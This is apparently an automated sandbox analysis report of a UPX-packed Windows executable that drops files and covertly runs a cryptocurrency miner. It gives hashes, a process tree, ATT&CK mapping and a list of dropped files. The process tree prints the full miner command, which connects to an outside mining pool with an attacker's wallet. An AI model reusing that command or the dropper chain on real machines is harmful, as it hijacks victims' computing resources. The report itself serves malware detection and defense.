73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 16:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3920	b2e.exe
4660	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1592-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 3920	1592	batexe.exe	74
PID 1592 wrote to memory of 3920	1592	batexe.exe	74
PID 1592 wrote to memory of 3920	1592	batexe.exe	74
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 2228 wrote to memory of 4660	2228	cmd.exe	78
PID 2228 wrote to memory of 4660	2228	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Users\Admin\AppData\Local\Temp\B1AC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B1AC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B1AC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B48B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B1AC.tmp\b2e.exe

Filesize
8.5MB

MD5
1171966c200b01aa7c245408a24352d9

SHA1
b8650b2fc4f6e1a5e0d75dd36c2ffb074e09c908

SHA256
9409028b284e443c771075bc48ddc7e9283d4e8dd67378bf27470e96d1f819e0

SHA512
381ada2804f9589d35a6592e4addd85644f4eb4858013fda75d48c4db62348620b1b90f88603e25bab5a043d801accfe00dc288969d98ea51f3104e776eb3b8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\B1AC.tmp\b2e.exe

Filesize
12.5MB

MD5
01ac55a1c3d747b6816d37b2c1328a39

SHA1
ceb3320b554b23fcbd199f2fc3c32eb7d58a2312

SHA256
c15f16866854544a67a0421d1d6a68d79d6efd08466a77c4a74a426daae8932c

SHA512
dbdac6ed15a95bdc64f4cae71a1a09a637957f66e575bc7d289e69971d8c68f50a6884231e85c5c5d88beef6f294c628fdc0ac9f9c6f9926080a7568bb4f89b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\B48B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
2f4c47f8521eedf178019841af9c8782

SHA1
3faeb3e549529573c2f4daa2affc53f70385e98c

SHA256
45c71bda2fbdab7f886cce8500cf48878c32e3cbab34715612cbb82eeac75733

SHA512
f938c7f7377fe167794fa5abfa3f4d92968863cb8b93860556d23b10d0e26ad69803820ef0c6e4b42aae1190a3972b7d37beaafc8a2d0bd31d596e3800071739

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
9ee4e95d295470aae730c1dbcecf55c4

SHA1
e11e591cfd05bda977df2d2c01fffb5546e0b648

SHA256
dc81ca875ee8feac150797b590f98cd4fce9fed12c215ebc555c48364a4cb109

SHA512
c5347d2d783e8aea0d3bbce34adba6a397bfd5c2b01eac03cee629f91ffdcfab7f19685b5dfd766d7988bfe99bd6f8181d8dae0cf59ee3c00927ac6b96b0e655

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
04c431deeee61f845f3549ee0b34fd59

SHA1
665a0a00d2ad8c8db1454ec243ec5659e5ba9ea9

SHA256
89adbb715937717e38a5c207bce6ab9ac231746b5fc39075c66ad698d91f382a

SHA512
2890ba83fdad8c2add731353da5ce96a6ccc9ed3570c9c1a21e5db013a5b30ab90797e23480a5ce50b1b4fe995573096041c6502be5ce7fb4f9877106f27de0e

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1592-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3920-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3920-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4660-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4660-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-43-0x000000005BBB0000-0x000000005BC48000-memory.dmp

Filesize
608KB

Download
memory/4660-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/4660-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4660-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download